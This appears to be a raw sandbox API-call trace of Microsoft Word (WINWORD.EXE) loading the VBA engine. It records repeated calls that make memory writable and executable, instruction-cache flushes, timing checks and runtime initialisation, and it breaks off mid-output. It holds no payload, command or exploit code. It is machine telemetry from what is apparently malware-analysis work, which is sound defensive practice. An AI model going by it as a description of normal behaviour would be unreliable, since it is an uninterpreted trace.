VirtualProtect (in: lpAddress=0xcaf398c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19750c | out: lpflOldProtect=0x19750c*=0x40) returned 1 [0117.317] GetCurrentProcess () returned 0xffffffff [0117.317] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf398d, dwSize=0x2) returned 1 [0117.317] GetCurrentProcess () returned 0xffffffff [0117.317] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf39ac, dwSize=0x14) returned 1 [0117.317] VirtualProtect (in: lpAddress=0xcaf39ac, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19750c | out: lpflOldProtect=0x19750c*=0x40) returned 1 [0117.318] GetCurrentProcess () returned 0xffffffff [0117.318] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf39ad, dwSize=0x2) returned 1 [0117.318] GetCurrentProcess () returned 0xffffffff [0117.318] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf39cc, dwSize=0x14) returned 1 [0117.318] VirtualProtect (in: lpAddress=0xcaf39cc, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19750c | out: lpflOldProtect=0x19750c*=0x40) returned 1 [0117.318] GetCurrentProcess () returned 0xffffffff [0117.318] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf39cd, dwSize=0x2) returned 1 [0117.318] GetCurrentProcess () returned 0xffffffff [0117.318] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf39ec, dwSize=0x14) returned 1 [0117.318] VirtualProtect (in: lpAddress=0xcaf39ec, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19750c | out: lpflOldProtect=0x19750c*=0x40) returned 1 [0117.319] GetCurrentProcess () returned 0xffffffff [0117.319] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf39ed, dwSize=0x2) returned 1 [0117.319] GetCurrentProcess () returned 0xffffffff [0117.319] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf3a0c, dwSize=0x14) returned 1 [0117.319] VirtualProtect (in: lpAddress=0xcaf3a0c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19750c | out: lpflOldProtect=0x19750c*=0x40) returned 1 [0117.319] GetCurrentProcess () returned 0xffffffff [0117.319] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf3a0d, dwSize=0x2) returned 1 [0117.319] GetCurrentProcess () returned 0xffffffff [0117.320] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf3a2c, dwSize=0x14) returned 1 [0117.320] VirtualProtect (in: lpAddress=0xcaf3a2c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19750c | out: lpflOldProtect=0x19750c*=0x40) returned 1 [0117.320] GetCurrentProcess () returned 0xffffffff [0117.320] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf3a2d, dwSize=0x2) returned 1 [0117.320] GetCurrentProcess () returned 0xffffffff [0117.320] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf3a4c, dwSize=0x14) returned 1 [0117.320] VirtualProtect (in: lpAddress=0xcaf3a4c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19750c | out: lpflOldProtect=0x19750c*=0x40) returned 1 [0117.320] GetCurrentProcess () returned 0xffffffff [0117.321] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf3a4d, dwSize=0x2) returned 1 [0117.321] GetCurrentProcess () returned 0xffffffff [0117.321] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2718, dwSize=0x14) returned 1 [0117.321] VirtualProtect (in: lpAddress=0xf5d2718, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19750c | out: lpflOldProtect=0x19750c*=0x40) returned 1 [0117.321] GetCurrentProcess () returned 0xffffffff [0117.321] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2719, dwSize=0x2) returned 1 [0117.321] GetCurrentProcess () returned 0xffffffff [0117.321] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2738, dwSize=0x14) returned 1 [0117.321] VirtualProtect (in: lpAddress=0xf5d2738, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19750c | out: lpflOldProtect=0x19750c*=0x40) returned 1 [0117.322] GetCurrentProcess () returned 0xffffffff [0117.322] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2739, dwSize=0x2) returned 1 [0117.322] GetCurrentProcess () returned 0xffffffff [0117.322] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2758, dwSize=0x14) returned 1 [0117.322] VirtualProtect (in: lpAddress=0xf5d2758, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19750c | out: lpflOldProtect=0x19750c*=0x40) returned 1 [0117.322] GetCurrentProcess () returned 0xffffffff [0117.322] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2759, dwSize=0x2) returned 1 [0117.322] GetCurrentProcess () returned 0xffffffff [0117.322] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2778, dwSize=0x14) returned 1 [0117.322] VirtualProtect (in: lpAddress=0xf5d2778, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19750c | out: lpflOldProtect=0x19750c*=0x40) returned 1 [0117.323] GetCurrentProcess () returned 0xffffffff [0117.323] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2779, dwSize=0x2) returned 1 [0117.323] GetCurrentProcess () returned 0xffffffff [0117.323] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2798, dwSize=0x14) returned 1 [0117.323] VirtualProtect (in: lpAddress=0xf5d2798, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19750c | out: lpflOldProtect=0x19750c*=0x40) returned 1 [0117.323] GetCurrentProcess () returned 0xffffffff [0117.323] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2799, dwSize=0x2) returned 1 [0117.323] GetCurrentProcess () returned 0xffffffff [0117.323] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d27b8, dwSize=0x14) returned 1 [0117.323] VirtualProtect (in: lpAddress=0xf5d27b8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19750c | out: lpflOldProtect=0x19750c*=0x40) returned 1 [0117.324] GetCurrentProcess () returned 0xffffffff [0117.324] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d27b9, dwSize=0x2) returned 1 [0117.324] GetCurrentProcess () returned 0xffffffff [0117.324] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d27d8, dwSize=0x14) returned 1 [0117.324] VirtualProtect (in: lpAddress=0xf5d27d8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19750c | out: lpflOldProtect=0x19750c*=0x40) returned 1 [0117.324] GetCurrentProcess () returned 0xffffffff [0117.324] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d27d9, dwSize=0x2) returned 1 [0117.324] GetCurrentProcess () returned 0xffffffff [0117.324] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d27f8, dwSize=0x14) returned 1 [0117.325] VirtualProtect (in: lpAddress=0xf5d27f8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19750c | out: lpflOldProtect=0x19750c*=0x40) returned 1 [0117.325] GetCurrentProcess () returned 0xffffffff [0117.325] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d27f9, dwSize=0x2) returned 1 [0117.325] GetCurrentProcess () returned 0xffffffff [0117.325] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2818, dwSize=0x14) returned 1 [0117.325] VirtualProtect (in: lpAddress=0xf5d2818, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19750c | out: lpflOldProtect=0x19750c*=0x40) returned 1 [0117.326] GetCurrentProcess () returned 0xffffffff [0117.326] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2819, dwSize=0x2) returned 1 [0117.326] GetCurrentProcess () returned 0xffffffff [0117.326] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2838, dwSize=0x14) returned 1 [0117.326] VirtualProtect (in: lpAddress=0xf5d2838, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19750c | out: lpflOldProtect=0x19750c*=0x40) returned 1 [0117.326] GetCurrentProcess () returned 0xffffffff [0117.326] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2839, dwSize=0x2) returned 1 [0117.326] GetCurrentProcess () returned 0xffffffff [0117.326] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2858, dwSize=0x14) returned 1 [0117.326] VirtualProtect (in: lpAddress=0xf5d2858, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19750c | out: lpflOldProtect=0x19750c*=0x40) returned 1 [0117.327] GetCurrentProcess () returned 0xffffffff [0117.327] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2859, dwSize=0x2) returned 1 [0117.327] GetCurrentProcess () returned 0xffffffff [0117.327] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2878, dwSize=0x14) returned 1 [0117.327] VirtualProtect (in: lpAddress=0xf5d2878, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19750c | out: lpflOldProtect=0x19750c*=0x40) returned 1 [0117.327] GetCurrentProcess () returned 0xffffffff [0117.327] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2879, dwSize=0x2) returned 1 [0117.327] GetCurrentProcess () returned 0xffffffff [0117.327] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2898, dwSize=0x14) returned 1 [0117.327] VirtualProtect (in: lpAddress=0xf5d2898, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19750c | out: lpflOldProtect=0x19750c*=0x40) returned 1 [0117.328] GetCurrentProcess () returned 0xffffffff [0117.328] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2899, dwSize=0x2) returned 1 [0117.328] GetCurrentProcess () returned 0xffffffff [0117.328] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d28b8, dwSize=0x14) returned 1 [0117.328] VirtualProtect (in: lpAddress=0xf5d28b8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19750c | out: lpflOldProtect=0x19750c*=0x40) returned 1 [0117.328] GetCurrentProcess () returned 0xffffffff [0117.328] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d28b9, dwSize=0x2) returned 1 [0117.328] GetCurrentProcess () returned 0xffffffff [0117.328] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d28d8, dwSize=0x14) returned 1 [0117.328] VirtualProtect (in: lpAddress=0xf5d28d8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19750c | out: lpflOldProtect=0x19750c*=0x40) returned 1 [0117.329] GetCurrentProcess () returned 0xffffffff [0117.329] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d28d9, dwSize=0x2) returned 1 [0117.329] GetCurrentProcess () returned 0xffffffff [0117.329] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d28f8, dwSize=0x14) returned 1 [0117.329] VirtualProtect (in: lpAddress=0xf5d28f8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19750c | out: lpflOldProtect=0x19750c*=0x40) returned 1 [0117.329] GetCurrentProcess () returned 0xffffffff [0117.329] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d28f9, dwSize=0x2) returned 1 [0117.329] GetCurrentProcess () returned 0xffffffff [0117.329] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d1188, dwSize=0x14) returned 1 [0117.329] VirtualProtect (in: lpAddress=0xf5d1188, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19750c | out: lpflOldProtect=0x19750c*=0x40) returned 1 [0117.330] GetCurrentProcess () returned 0xffffffff [0117.330] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d1189, dwSize=0x2) returned 1 [0117.330] GetCurrentProcess () returned 0xffffffff [0117.330] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d11a8, dwSize=0x14) returned 1 [0117.330] VirtualProtect (in: lpAddress=0xf5d11a8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19750c | out: lpflOldProtect=0x19750c*=0x40) returned 1 [0117.331] GetCurrentProcess () returned 0xffffffff [0117.331] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d11a9, dwSize=0x2) returned 1 [0117.331] GetCurrentProcess () returned 0xffffffff [0117.331] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d11c8, dwSize=0x14) returned 1 [0117.331] VirtualProtect (in: lpAddress=0xf5d11c8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19750c | out: lpflOldProtect=0x19750c*=0x40) returned 1 [0117.331] GetCurrentProcess () returned 0xffffffff [0117.331] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d11c9, dwSize=0x2) returned 1 [0117.331] SetErrorMode (uMode=0x8001) returned 0x8001 [0117.331] _stricmp (_Str1="VBE7.DLL", _Str2="VBE6.DLL") returned 1 [0117.331] LoadLibraryA (lpLibFileName="VBE7.DLL") returned 0x693e0000 [0117.332] SetErrorMode (uMode=0x8001) returned 0x8001 [0117.332] GetProcAddress (hModule=0x693e0000, lpProcName=0x217) returned 0x693e741e [0117.333] GetAsyncKeyState (vKey=3) returned 0 [0117.333] VarCmp (pvarLeft=0x197cc4, pvarRight=0x197cb4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0117.333] VarCmp (pvarLeft=0x197cc4, pvarRight=0x197cb4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0117.333] VarCmp (pvarLeft=0x197cc4, pvarRight=0x197cb4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0117.333] VarCmp (pvarLeft=0x197cc4, pvarRight=0x197cb4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0117.333] VarCmp (pvarLeft=0x197cc4, pvarRight=0x197cb4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0117.333] VarCmp (pvarLeft=0x197cc4, pvarRight=0x197cb4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0117.333] VarCmp (pvarLeft=0x197cc4, pvarRight=0x197cb4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0117.333] VarCmp (pvarLeft=0x197cc4, pvarRight=0x197cb4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0117.333] VarCmp (pvarLeft=0x197cc4, pvarRight=0x197cb4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0117.334] VarCmp (pvarLeft=0x197cc4, pvarRight=0x197cb4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0117.334] VarCmp (pvarLeft=0x197cc4, pvarRight=0x197cb4, lcid=0x0, dwFlags=0x30001) returned 0x1 [0117.334] GetLocalTime (in: lpSystemTime=0x197b4c | out: lpSystemTime=0x197b4c*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x4, wDay=0xb, wHour=0x12, wMinute=0x32, wSecond=0x2e, wMilliseconds=0x1df)) [0117.334] VarAdd (in: pvarLeft=0x197ef0, pvarRight=0x197ee0, pvarResult=0x197ed0 | out: pvarResult=0x197ed0) returned 0x0 [0117.334] VarCmp (pvarLeft=0x197cc4, pvarRight=0x197cb4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0117.334] VarCmp (pvarLeft=0x197cc4, pvarRight=0x197cb4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0117.334] VarCmp (pvarLeft=0x197cc4, pvarRight=0x197cb4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0117.334] VarCmp (pvarLeft=0x197cc4, pvarRight=0x197cb4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0117.334] VarCmp (pvarLeft=0x197cc4, pvarRight=0x197cb4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0117.334] VarCmp (pvarLeft=0x197cc4, pvarRight=0x197cb4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0117.334] VarCmp (pvarLeft=0x197cc4, pvarRight=0x197cb4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0117.334] VarCmp (pvarLeft=0x197cc4, pvarRight=0x197cb4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0117.334] VarCmp (pvarLeft=0x197cc4, pvarRight=0x197cb4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0117.334] VarCmp (pvarLeft=0x197cc4, pvarRight=0x197cb4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0117.334] VarCmp (pvarLeft=0x197cc4, pvarRight=0x197cb4, lcid=0x0, dwFlags=0x30001) returned 0x1 [0117.334] GetLocalTime (in: lpSystemTime=0x197b4c | out: lpSystemTime=0x197b4c*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x4, wDay=0xb, wHour=0x12, wMinute=0x32, wSecond=0x2e, wMilliseconds=0x1df)) [0117.509] NtdllDefWindowProc_A (hWnd=0xa01e0, Msg=0xc206, wParam=0x50, lParam=0x0) returned 0x0 [0118.661] NtdllDefWindowProc_A (hWnd=0xa01e0, Msg=0xc206, wParam=0x50, lParam=0x0) returned 0x0 [0121.048] GetModuleHandleW (lpModuleName=0x0) returned 0xc10000 [0121.048] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0121.048] LoadLibraryExW (lpLibFileName="api-ms-win-core-synch-l1-2-0", hFile=0x0, dwFlags=0x800) returned 0x76910000 [0121.049] GetProcAddress (hModule=0x76910000, lpProcName="InitializeCriticalSectionEx") returned 0x769cd740 [0121.049] LoadLibraryExW (lpLibFileName="api-ms-win-core-fibers-l1-1-1", hFile=0x0, dwFlags=0x800) returned 0x76910000 [0121.049] GetProcAddress (hModule=0x76910000, lpProcName="FlsAlloc") returned 0x769d4490 [0121.050] GetProcAddress (hModule=0x76910000, lpProcName="FlsSetValue") returned 0x769cd7a0 [0121.050] LoadLibraryExW (lpLibFileName="api-ms-win-core-synch-l1-2-0", hFile=0x0, dwFlags=0x800) returned 0x76910000 [0121.051] GetProcAddress (hModule=0x76910000, lpProcName="InitializeCriticalSectionEx") returned 0x769cd740 [0121.051] GetProcessHeap () returned 0x5c0000 [0121.051] LoadLibraryExW (lpLibFileName="api-ms-win-core-fibers-l1-1-1", hFile=0x0, dwFlags=0x800) returned 0x76910000 [0121.052] GetProcAddress (hModule=0x76910000, lpProcName="FlsAlloc") returned 0x769d4490 [0121.052] GetLastError () returned 0x3f0 [0121.052] GetProcAddress (hModule=0x76910000, lpProcName="FlsGetValue") returned 0x769bf350 [0121.052] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x364) returned 0xcb65e18 [0121.053] GetProcAddress (hModule=0x76910000, lpProcName="FlsSetValue") returned 0x769cd7a0 [0121.053] SetLastError (dwErrCode=0x3f0) [0121.055] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0xc00) returned 0xf4af640 [0121.056] GetStartupInfoW (in: lpStartupInfo=0x19761c | out: lpStartupInfo=0x19761c*(cb=0x44, lpReserved="", lpDesktop="Winsta0\\Default", lpTitle="C:\\Program Files (x86)\\Microsoft Office\\Office16\\WINWORD.EXE", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x11f796a0, hStdOutput=0xaabdba3e, hStdError=0xfffffffe)) [0121.056] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0121.056] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0121.056] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0121.056] GetCommandLineA () returned="\"C:\\Program Files (x86)\\Microsoft Office\\Office16\\WINWORD.EXE\" /n" [0121.056] GetCommandLineW () returned="\"C:\\Program Files (x86)\\Microsoft Office\\Office16\\WINWORD.EXE\" /n" [0121.056] GetLastError () returned 0x3f0 [0121.056] SetLastError (dwErrCode=0x3f0) [0121.056] GetLastError () returned 0x3f0 [0121.057] SetLastError (dwErrCode=0x3f0) [0121.057] GetACP () returned 0x4e4 [0121.057] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x220) returned 0xf40cf18 [0121.057] IsValidCodePage (CodePage=0x4e4) returned 1 [0121.057] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x19764c | out: lpCPInfo=0x19764c) returned 1 [0121.057] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x196f14 | out: lpCPInfo=0x196f14) returned 1 [0121.057] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x197528, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0121.057] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x197528, cbMultiByte=256, lpWideCharStr=0x196cb8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0121.057] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpCharType=0x196f28 | out: lpCharType=0x196f28) returned 1 [0121.057] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x197528, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0121.057] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x197528, cbMultiByte=256, lpWideCharStr=0x196c68, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0121.057] LoadLibraryExW (lpLibFileName="api-ms-win-core-localization-l1-2-1", hFile=0x0, dwFlags=0x800) returned 0x76910000 [0121.058] GetProcAddress (hModule=0x76910000, lpProcName="LCMapStringEx") returned 0x769b95f0 [0121.058] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0121.058] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x196a58, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȈ") returned 256 [0121.058] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȈ", cchWideChar=256, lpMultiByteStr=0x197428, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f 